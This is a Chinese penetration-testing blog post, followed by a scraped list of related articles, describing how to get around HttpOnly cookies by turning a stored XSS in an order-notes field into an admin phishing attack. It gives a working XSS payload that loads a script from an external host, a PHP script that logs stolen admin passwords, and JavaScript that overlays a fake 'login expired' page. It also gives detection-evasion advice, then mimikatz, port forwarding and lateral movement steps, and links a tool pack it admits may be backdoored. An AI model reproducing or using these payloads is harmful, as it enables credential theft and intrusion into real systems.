i春秋作家:jasonx

原文来自:一个xss漏洞到内网漫游【送多年心血打造的大礼包啦!】

前言

渗透过程中,有时候遇某些网站,明明检测到有xss漏洞,但是盲打以后,收到的cookie还是不能登录后台,大多数的原因都是因为对方的cookie关键参数开启了httponly,导致你获取到的cookie参数不全,所以没法登录。

今天和大家分享一次绕过httponly拿后台的思路。

0x01 遇到一个存在xss的站点

这个站点在提交订单的时候,下面有个订单备注输入框存在存储型xss。
我们直接插入插入xss代码;

</textarea>'"><script src=https://xx.cc/x/7Zbi58></script>

过了没多久拿到了cookie

但是我们尝试用cookie登录的时候失败了。

那么问题来了,如何才能拿到后台呢?

0x02 xss钓鱼拿下后台

因为xss平台已经收到后台的url地址了。
那么我们直接访问这个后台地址,然后右键查看源代码。

然后把所有代码复制到我们新建的一个html文件里面。
修改里面的代码,把所有相对路径的地方,全部改成绝对路径,(啥意思呢?请看下面分析。)

比如里面有的链接是这样的 /index.php
我们要修改成被钓鱼的域名加上/index.php
改完后应该是这样的 http://被钓鱼的域名.com/index.php

注意:所有相对路径链接部分都要改。

然后我们把action=这里修改成我们的1.php文件地址(源码在下面)
<form action="http://www.我们的php域名.com/1.php" method="post" class="login-form">

1.php源码如下

<?php
$str='';
$str.='name:'.$_POST['name'].'|';
$str.='pwd:'.$_POST['pwd'].'|';
$str.='ip:'.$_SERVER["REMOTE_ADDR"].'|';
$str.='time:'.date("m-d-h:i");
file_put_contents('log.txt',$str.PHP_EOL, FILE_APPEND);
#下面这行的意思是记录完账号密码以后跳转到他原来的后台地址。
header("location:https://www.baidu.com/admin.php");
?>

注意:你的html文件里面的用户名和密码的参数名称要对应1.php的修改。
name=的这里,要和1.php的对应,要不然接收不到账号密码。

1.php的后面添加上被钓鱼方的后台首页地址,成功拿到密码以后会自动跳回他后台首页。

接下来我们把这个html文件和1.php放到网站空间,直接phpstudy搭建一个也可以的。

现在去xss平台新建一个项目
名称什么的随便输入,在自定义代码处输入以下代码。
把其中的url地址修改成你的html地址。

setTimeout(function(){
alert("登陆过期,请重新登陆!");
parent.document.writeln("<iframe style=\"margin:0px;padding:0px;height:100%;width:100%;\" src=\"https:\/\/我的钓鱼域名.com/index.html\" frameBorder=0 scrolling=no></iframe>");
setTimeout(function(){
document.getElementsByTagName("body")[0].setAttribute("style","margin:2px;");},100);
setTimeout(function(){
parent.document.getElementsByTagName("body")[0].setAttribute("style","margin:0px;");},100);
},1500);

我们把得到的xss地址复制下来,插入到订单备注里面。
管理员看到我们的订单以后,1.5秒后就会自动弹出“登录过期,请重新登陆”的提示,并在url不改变的情况下,跳转到我们伪造的登录页面上去了。

接下来只要管理员输入了账号密码,并且提交,那么我们钓鱼服务器就收到账号密码啦,管理员那边也正常跳转到他的后台。

注意:拿到账号密码以后请迅速删掉你的xss项目,要不然管理员那边每一次浏览你的订单都会跳出这个登录页面,避免被发现。
另外实际操作的时候,你可以修改下代码,比如判断是否登录成功,或者修改延时等等,我这只是提供一个思路,抛砖引玉吧。

然后我们用拿到的账号密码登录后台,找上传点getshell。

拿到shell以后我们用 mimikatz(咪咪卡住)获取管理员密码。
然后通过ipconfig看到对方服务器在内网,所以我们需要转发端口出来,这里方法很多了,lcx转发 ngrok等等都可以的。

转发出来我们用获取到的密码直接登录服务器。
先收集一波内网信息。

net view 列出工作组下的计算机名称。
arp -a 查看arp缓存表。

然后就是横向怼了。

附上钓鱼的演示源码
链接: https://pan.baidu.com/s/1VrvYXLy4ozXN-8iR7Uj7rA 提取码: giu3


∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷ 华丽的分割线 ∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷∷


以上都不是重点,重点是我要放出自己用了多年的【渗透工具包】啦。
里面的很多工具都是一点点收集来的,因为都是来源于互联网,部分工具可能存在后门,请大家下载以后自行查杀,部分批量的工具过于敏感就不放出来啦。

声明:

工具是一把刀,既能切菜,也能伤人,我分享的初衷是便于大家做授权的渗透测试,所以请不要用于非法用途,否则一切后果自负。



阅读原文即可下载渗透工具包

原文地址:一个xss漏洞到内网漫游【送多年心血打造的大礼包啦!】

​​​​​​​

一个xss漏洞到内网漫游【送多年心血打造的大礼包啦!】的更多相关文章

  1. 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网

    /文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...

  2. CTF大赛模拟-CFS三层内网漫游

    CTF大赛模拟-CFS三层内网漫游 环境: 三台虚拟机,三个网络. target 1:192.168.161.178 ,192.168.52.132 (linux) target 2:192.168. ...

  3. 【转载】SOCKS代理:从***到内网漫游

    原文:SOCKS代理:从***到内网漫游 本文原创作者:tahf,本文属FreeBuf原创奖励计划,未经许可禁止转载 之前在Freebuf上学习过很多大牛写的关于Tunnel.SOCKS代理.***等 ...

  4. 内网漫游之SOCKS代理大结局

    0×01 引言 在实际渗透过程中,我们成功入侵了目标服务器.接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口.内网网站8080端口等等.传统的方 ...

  5. 从SQL注入到内网漫游

    前言 在一次渗透实战中,发现了一个注入点,最后成功的漫游了内网. 正文 在渗透中遇到一个站点,顺手测试了一下,在搜索框随便输入了一个字符加个单引号直接报错了,差不多可以确认这里存在注入了.一般这种站安 ...

  6. (转)Ubuntu 17.04_64上搭建巡风扫描系统(资产信息漏洞扫描内网神器)

    巡风简介 巡风是一款适用于企业内网的漏洞快速应急.巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表.其主体分为两部分:网络资产识别 ...

  7. ssrf漏洞利用(内网探测、打redis)

    摘要:存在ssrf漏洞的站点主要利用四个协议,分别是http.file.gopher.dict协议. file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描.端口探测,如果探测到637 ...

  8. 一台PC双网卡,一个外网一个内网

    问题:一台PC双网卡,一个连外网一个连内网.用户主要访问外网,内网只访问有限的几个ip.因为外网很大,一般人公司内网常访问的ip是有限的几个. 现在如何做到在上外网的同时也能访问内网的系统?明明两个网 ...

  9. xss实现获取内网ip

    前提得浏览器支持webRTC,测试的时候google浏览器测试成功,火狐浏览器不支持webRTC, 再在xss平台直接复制如下js代码: function form_ip(ip,port){ var ...

随机推荐

  1. Spring Scheduled定时任务报错 java.lang.IllegalStateException: Encountered invalid @Scheduled method 'xxx': For input string: "2S"

    报错信息如下: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'ding ...

  2. vue如何使用rules对表单字段进行校验

    基于element-ui 1.在代码中,添加属性::rule <el-form :model="form" :rules="rules" ref=&quo ...

  3. eclipse Filter web.xml 问题解决 异步请求@WebServlet

    <filter> <filter-name>AsynServlete</filter-name> <filter-class>com.kad.app.a ...

  4. 常用的三种json软件的使用

    从几个角度比较三种软件 1. json操作 2 反解 3 性能 易用性还没有列出. 可以根据个人喜好进行取舍. package json; import com.alibaba.fastjson.JS ...

  5. appnium启动报错Encountered internal error running command: Error: Error occured while starting App. Original error: Permission to start activity denied.

    说明写错了activity 首先查看一下activity,使用命令 打开被测app,输入命令adb shell dumpsys window | findstr mCurrentFocus 看似这个a ...

  6. 使用SpringBoot搭建一个简单的web工程

    最近在学习SpringBoot,想写在博客园上记录一下,如有错误之处还望指出. 首先创建一个maven工程,不用勾选骨架. 在pom.xml文件中添加如下内容,使工程变成Springboot应用. & ...

  7. tomcat 请求处理流程分析(基于nio)

    在这里我先简单的说下bio和nio的区别 这里我以电话客服的情况来解释 bio 一个客户对应一个客服, 假如客户比较麻烦,中途不挂电话,或者去做其他事情了,而客服资源会被一直占用 导致的后果是系统处理 ...

  8. Quartz的自定义插件

    quartz本身插件: LoggingJobHistoryPlugin,LoggingTriggerHistoryPlugin分别可以打印scheduler容器管理的所有triggers和jobDet ...

  9. IEC2017级_1-2班2次博客作业成绩说明

    一.博客作业内容 2018上IEC计算机高级语言(C)作业 第2次作业 二.评分规则说明 1.程序调试题,要描述出调试所遇到问题及修改内容,并表述清楚程序功能.流程图不规范的会减1-2分: 2.知识点 ...

  10. Linux开发黑客

    参考网站:http://blog.chinaunix.net/uid/20543672/abstract/1.html tekkamanninja